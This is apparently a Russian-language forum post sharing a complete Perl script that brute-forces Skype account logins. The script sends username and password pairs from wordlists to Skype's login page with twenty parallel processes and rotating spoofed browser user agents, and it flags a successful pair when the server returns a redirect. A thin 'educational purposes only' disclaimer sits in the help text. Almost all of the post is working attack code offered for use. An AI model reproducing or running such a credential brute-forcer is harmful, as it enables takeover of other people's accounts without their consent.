вот на перле,только я хз работает ли он. PHP: #!/usr/bin/perl -w # There is only one module needed for this script to work # Parallel::ForkManager # All other modules are included in perl by default # You can get the neccessary module here: # http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.5.tar.gz use LWP::UserAgent; use Getopt::Std; use Parallel::ForkManager; my %option; my $forkManager = Parallel::ForkManager->new(20); getopts('u:p:h',\%option); if(!$option{'u'} && !$option{'p'}) { if($option{'h'}) { &helper; } else { &usage; } } my $login = $option{'u'}; my $password = $option{'p'}; our @agents = ( "Mozilla/5.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)", "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows XP)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows XP)", "Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)", "Mozilla/5.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)", "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)", "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1", "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0", "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.8.1) Gecko/20061010 Firefox/2.0", "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b2) Gecko/20050702", "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050217", "Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711", "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1", "Mozilla/5.0 (Windows; U; Windows NT 5.0;; rv:1.8.0.7) Gecko/20060917 Firefox/1.9.0.1", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3", "Opera/9.02 (Windows NT 5.0; U; en)", "Opera/9.10 (Windows NT 5.1; U; en)", "Opera/9.10 (Windows NT 6.0; U; en)", "Opera/9.02 (Windows NT 5.2; U; en)", ); sub attack { my($suser,$spass) = @_; my $agent = $agents[rand(scalar(@agents))]; my $host = 'https://secure.skype.com/store/member/dologin.html'; $browser = LWP::UserAgent->new(); $browser->agent($agent); my $req = HTTP::Request->new(POST => $host); $req->content_type("application/x-www-form-urlencoded"); $req->content(qq[login=Sign+me+in&username=$suser&password=$spass]); my $res = $browser->request($req); if($res->is_success) { } else { if($res->status_line=~m/302 Moved/gi) { die "[+] USERNAME \t[$suser ] \tPASSWORD \t[$spass]\t[ OK ]\n"; } else { print $res->status_line."\n"; } } } if($login=~m/^[^a-z]/g) { open (USER, "<", $login) or &err($login); @users = <USER>; close(USER); } if($password=~m/^[^a-z]/g) { open (PASS, "<", $password) or &err($password); @pass = <PASS>; close(PASS); } if(defined @users) { foreach $user (@users) { $user =~ s/\x0a//g; chomp($user); if(defined @pass) { foreach $pass (@pass) { $forkManager->start and next; $pass =~ s/\x0a//g; chomp($pass); &attack($user,$pass); printf("[-] USERNAME %-15s \tPASSWORD %12s %8s\n","[$user]","[$pass]","[ FAIL ]"); $forkManager->finish; sleep 5; } } else { &attack($user,$password); printf("[-] USERNAME %15s \t\tPASSWORD %12s %8s\n","[$user]","[$password]","[ FAIL ]"); } } } elsif(defined @pass) { foreach $pass (@pass) { $forkManager->start and next; $pass=~s/\x0a//g; printf("[-] USERNAME %15s \t\tPASSWORD %12s %8s\n","[$login]","[$pass]","[ FAIL ]"); &attack($login,$pass); $forkManager->finish; sleep 5; } } else { &attack($login,$password); printf("[-] USERNAME %15s \t\tPASSWORD %12s %8s\n","[$user]","[$password]","[ FAIL ]"); } sub usage { die "Usage: $0 -u <username> -p <password>\nYou can also specify -h for help.\n"; } sub err { die "Error: cannot open file $! $_[0]\n"; } sub helper { print "+-------------------------------------------------------------------------------+ \n"; print "| __ __ __ _ _ ____ () __ ___ | \n"; print '| \ \/ / \| \/ (___ | | \/ \ |',"\n"; print "| > < (_) | < / (| | | |) | () | | \n"; print '| /_/\_\___/|_/\_\___/|__|___/\____/ |',"\n"; print "| This script tries to brute skype accounts using specified single or multiple | \n"; print "| usernames. To specify list of users you should write usernames in a separate | \n"; print "| file (each username on a new line) and specify the path to this script. Also | \n"; print "| you may use passwords list or single password. The use of single password is | \n"; print "| to try to find appropriate user of a specific password. For example, you may | \n"; print "| have a password that is for some user and do not actually know his/her real | \n"; print "| skype-name. For this purpose you would pass to this script a single | \n"; print "| password and try to find the appropriate owner. | \n"; print "+-------------------------------------------------------------------------------+ \n"; print "Script options: \n"; print "\t-u\tUsed to specify single or multiple (from filles) username(s) \n"; print "\t-p\tUsed for a single or a list (from file) of password(s) \n"; print "\t-h\tPrints this help message. \n"; print "This script is only for educational purposes, and only for testing own passwords \n"; print "against brute forcing mechanisms. Any use of this script against someone else is \n"; print "strictly prohibited. The author is not responsible for using this script in such \n"; print "a way! \n"; exit (0); } $forkManager->wait_all_children;